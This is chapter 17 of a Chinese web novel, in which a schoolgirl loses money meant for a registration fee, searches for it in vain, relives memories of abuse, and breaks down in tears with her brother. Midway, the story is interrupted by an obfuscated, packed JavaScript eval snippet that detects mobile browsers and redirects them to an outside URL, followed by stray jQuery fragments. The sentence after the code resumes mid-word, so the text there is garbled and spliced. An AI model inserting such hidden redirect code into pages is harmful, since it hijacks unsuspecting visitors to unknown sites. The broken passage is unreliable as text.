荆问 作品

17. 第 17 章

温漾咬着唇,忽然站了起来,一言不发地转身往教室外走去。


“哎,温漾?”


“温漾你去哪儿?”


最近和她关系稍近一些的同学都出声问道。


但她恍若未闻,径直离开。


同学们疑惑地嘀咕了几句后,随着其他话题挑起,便没再关注了。


只有郁尘看了两秒后,吊儿郎当地站了起来,而后慢悠悠地跟了上去。


课间,操场上的人多了不少。


有上节课下课的学生,也有下节课是体育课而提前过来的学生。


温漾无声地沿着原路,一路找去,却没有丝毫踪迹。


教学楼里没有,路上没有,操场也没有。


哪里都没有。


温漾慢慢停了下来,双眼有些失神地望着台阶,四肢的血液似乎都一并冷了下来。


“喂,温漾。”


身后有人在喊她的名字。


温漾却没什么反应。


“东西掉了?”


郁尘双手插兜,有些懒散地问。


温漾眼眸轻轻动了动,慢慢看向他,终于有了一点反应,“你有看见吗?”


“你那个白色小狗?”


郁尘挑起眉问。


温漾低低地“嗯”了一声。


“什么时候掉的?”郁尘回忆了下,“我记得我给你的时候是测仰卧起坐那会儿吧?”


温漾情绪低落地应了声。


郁尘微微眯起眼看向体育器材室。


既然钱包是回教室后才发现不见的,那往前推,只可能是在测仰卧起坐后掉的,要么是体测的时候就掉了,要么就是回教室的路上掉了。


如果是体测掉的,那是最好的结果,因为大概率被同学捡到给老师了。


如果是在路上掉了,那基本是最遭的情况。


因为校园内监控并不多,就算有人捡到了,只要那个人不说,那就等于是大海捞针,没有任何线索证据。


恰在这时。


上课铃声响了起来。


郁尘下巴一抬,“你回去上课,我去帮你找。”


“不……”


温漾刚说了一个字。


郁尘露出一副不耐烦的样子,开始赶人,“三好学生不上课了?赶紧回去。”


他抬了一下手,那是一个不由分说的姿势,然后转身朝器材室走去,只留下一句,“记得帮我跟老师请个假,就说我……”


顿了顿后,他回过头,忽然勾唇一笑,“就说我忙着乐于助人。”


温漾回了教室。


不过她并没有按照郁尘的话来说,而是一本正经地说:“郁尘说他身体不舒服去医务室了。”


上课的老师一脸狐疑,“他这身强体壮的,还有身体不舒服的时候?不是翻墙出去上网了吧?”


“……”


底下传来一阵笑声。


温漾安安静静,没吭声。


老师见已经上课了,也懒得再追究,“行,你先回座位吧,准备上课了。”


这是周五的最后一节正课,接下来是两节自习,然后就要放学了。


如果今天没有找到那两千块钱,下周来就要开始交报名费了。


她该怎么办呢?


如果真的找不回来了……


真的找不回来……


如果妈妈知道了会怎样?


想到这里。


温漾的脸色愈发苍白,几乎没有任何血色。


她低垂着眼,望着课本,目光却并没有聚焦。


指节慢慢收紧,甚至失色。


不能让妈妈知道。


绝对不能。


妈妈早就说过,要她好好收着的。


是她自己的错。


为什么她不好好听妈妈的话?


为什么要拿出来贴身放着?为什么没有保管好?为什么不留在家里?


为什么连这样小的事情都做不好呢?


为什么她总是这样没用。


她就是个累赘。


他们说得对。


她就是个累赘。


也许一开始就不该报名。


她这样的人,根本就只会给人带来麻烦。


是她恬不知耻地央求妈妈,无视家里的经济情况来报这个名,却连报名费都保管不好。


温漾低着头,望着课本上的字,视线慢慢有些模糊。


老师的讲课声、同学们的回答声……一切都变得遥远了。


她像是与这个世界隔开了,只沉浸在自己的方寸之地里。


直至下课铃声响起。


她抬起头,搁下书本,转身就要朝外走去。


然而走到一半时,手腕忽然被人拉住。


“别去了,我找过了,都没有。”


郁尘扣着她的手腕,将人拉了回来,问:“丢了什么让你这么着急?”


温漾看了他一眼,没有说话,只是将手腕抽了回来,继续往外走去。


“……”


郁尘跟了上去。


果不其然,温漾朝着楼梯往下走了。


他一路跟着,直到来到操场,今天的所有课程都结束了,剩下的是自习,因而此刻操场上几乎没什么人了。


一眼望去十分空荡。


不见任何异物。


更不用说那只白色绒毛小狗。


温漾低着头,一言不发地开始仔细寻找。


“温漾,没有了,已经找不到了,别浪费时间了。”


郁尘走上来拉住她的手腕,忍不住道:“到底丢了什么,你说出来,我再给你买一个。”


温漾闭了一下眼,复而睁开,轻声道:“放开。”


“温漾,你……”


话还没说完。


忽地,温漾毫无征兆地推开他,用一种近乎漠视的目光看着他。


郁尘一怔,仿佛失了声。


她的力道很轻,然而那道目光却像利刃般刮在皮肉上,留下刺痛的痕迹。


这两年来。


无论他如何纠缠,她从未用这样的眼神看过他。


温漾只一瞬就收回视线,转过身继续找了起来。


她一步步固执地朝前走去。


夏日太阳渐渐变换,影子被拖得越来越长,跑道似乎也变了样,四周疯狂生长起半人高的草,蚊虫从四面八方扑来,叮咬她的四肢,每一步踩下去都如同踩入泥泞里,浮沉争先恐后地包裹她,将她拖入了过去的梦魇里。


所有声音似雪花纷飞涌来。


“说话。”


“现在让你说话了,说,放哪儿了?”


“你有资格说不吗?啊?”


“你妈欠下这么多钱还没还,你配拿吗?”


“你根本就不配拥有任何东西,温漾,这是你欠我的。”


“要死就死外面别回来,免得还要我们担责任,衣服弄这么脏,觉得不用自己洗是吧?长这么大了还这么不懂事,温漾,我们欠你的啊?”


……


时移世易。


两个不同的时空在某一刻仿佛重叠。


而温漾一如当年固执。


也如当年一样徒劳。


所谓的改变,只得到一个失败的、意料之中的、与从前如出一辙的结果。


再来一次。


还是一样。


温漾睁着眼,望向远处西斜的暖阳,半边天空被浸染成橘红,彩霞满天。


整个操场只剩下她孤身一人。





;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902752|160132||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


实并没什么变化。


她低着头,沉默地回到教室,背上书包,慢慢往校园外走去。


“喂,你是……哎?”


保安认出人来,转头看了一眼挂表,差点以为自己看错了,疑惑道:“你怎么现在才出来,再晚点都要闭校了。”


温漾恍若未闻,径直穿过门口。


早已过了放学的时间,校门外没有拥挤的学生和家长,公路边也没有一长排等待接学生的私家车。


温漾有些空茫地望着面前的人行道。


有一瞬间。


她忽然在想,像她这样的麻烦,应该谁也不想接手吧。


“阿漾?”


一道熟悉的声音唤回了她的思绪。


她的眼眸轻轻一动,看见哥哥看过来的目光。


紧接着,他打开车门朝她走了过来。


“怎么现在才放学?”


他低声问了句,而后接过她的书包。


温漾仿佛走神了一般,没有回应,脸上也没什么表情。


像是橱窗里毫无生气的洋娃娃。


许珩不由多看了她一眼,似是想问什么,但又咽了回去,先将书包放进后座。


而后他合上车门,转向温漾,道:“先上车,快六点半了,我们阿漾肯定饿了吧?我看你一直没出来,怕你老师在没给你打电话,我买了些吃的在车上,你先垫垫,等回家……”


话音忽地戛然而止。


他低垂下来的目光猛然顿住,浅棕色瞳孔骤然一缩。


温漾一瞬不错地看着他。


一颗泪珠毫无征兆地滚落,在雪白的面容留下一道泪痕。


她乌眸噙满了氤氲水汽,眼睫被浸湿,似鸦羽般,长而深黑。


眼尾染了一点淡红,似满天彩霞的倒影。


却没发出任何声音。


时间好似静止了般。


许珩慢慢抬起手,指节轻轻拂去她无声落下的眼泪,嗓音不知怎么,有些暗哑,“怎么哭了?”


温漾没有说话。


四周是寂静而空旷的街道,只剩下人潮退去后的冷清,以及夏风吹过时带起的一阵阵簌簌声。


许珩低下头,闭了一下眼,终于将人用力按入怀里。


似叹息般无奈道:“你这样哭,哥哥的心也快碎了。”


温漾不知道自己为什么哭。


那些积攒的无处宣泄的情绪,好像忽然有了突破口。


而后,有温热的触感落在身后。


哥哥轻轻拍着她的背。


一下又一下。


带着安抚的意味。


而那些出了笼的情绪,也随着这个动作,如河水般汹涌而出。


她极尽用力地将哽咽都咽下,克制着,没有发出一丝声响。


因为隐忍而轻轻颤抖着。


似是察觉到,许珩的动作微微一顿,而后将她抱得更紧,“没事了,我在这,阿漾。”


“不怕了,嗯?”


他低着声音,轻轻哄着。


而那些决堤的情绪也像是因此,更加难以忍耐。


渐渐。


被极力压制的啜泣还是寻到了出口,争先恐后地泄了出来。


她咬着唇,因为过于用力,很快有血腥洇出。


声音因为哭腔而变得破碎,却仍带着近乎压垮她的歉疚,“对、对……不起……哥哥……”


“对不起什么?”


许珩垂下眼,注意到她唇上的猩红,一愣,忙伸手卡进她的唇齿,“阿漾你在做什么?别咬!快松开!”


“对……对不起……”


终于。


她泣不成声,为自己的哭声而道歉,“我控制……不住……”


就像过去每一次一样。